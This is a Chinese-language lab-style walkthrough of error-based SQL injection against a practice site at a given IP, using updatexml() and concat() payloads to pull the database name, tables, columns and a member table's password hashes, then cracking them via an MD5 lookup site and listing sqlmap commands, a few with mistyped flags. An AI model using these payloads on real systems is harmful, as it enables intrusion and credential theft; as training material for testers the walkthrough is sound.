1.寻找注入点
当我们闭合了第一个参数后有明显的报错信息,我们就可以考虑基于报错的注入了
http://219.153.49.228:41801/new_list.php?id=1’
2.报错注入-报错回显
参考:https://www.jianshu.com/p/bc35f8dd4f7c ; https://blog.csdn.net/Kevinhanser/article/details/81592866
手动注入
1.爆破数据库
查看数据库名字,本来想用union查询,但是当前网站过滤掉了union,这里用到了updatexml()函数的报错回显功能,会把信息显示在页面中。然后也用到了concat()函数,是连接两个字符串的。
?id=1‘ and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1) --+
?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
2. 有了数据库名字就可以开始爆表了(通过information_schema数据库)
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='stormgroup'),0x7e),1) --+
3.爆破字段
and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='member'),0x7e),1) --+
4。爆破密码,用户
and updatexml(1,concat(0x7e,(select password from member limit 0,1),0x7e),1) --+
and updatexml(1,concat(0x7e,(select password from member limit 1,1),0x7e),1) --+
注意:这里只获得了31位密码,其实password字段里面的数据是有32位的,只是没显示那么多,所以下面要用substr()去单独获取password字段的最后一位数
and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 0,1),0x7e),1) --+
and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 1,1),0x7e),1) --+
然后密码拿去MD5网站解码(https://www.cmd5.com/)
工具扫描(sqlmap)
清理sqlmap缓存:python sqlmap.py --purge
可以直接用sqlmap扫
1.爆数据库 sqlmap -u url --dbs
2.爆表 sqlmap.py -u url -D 数据库 -tables
3.爆字段名 sqlmap.py -u url -D 数据库 -T 表 columns
4.爆字段值 sqlmap.py -u url -D 数据库 -T 表 -C name,password,status
5.之后使用md5解密即可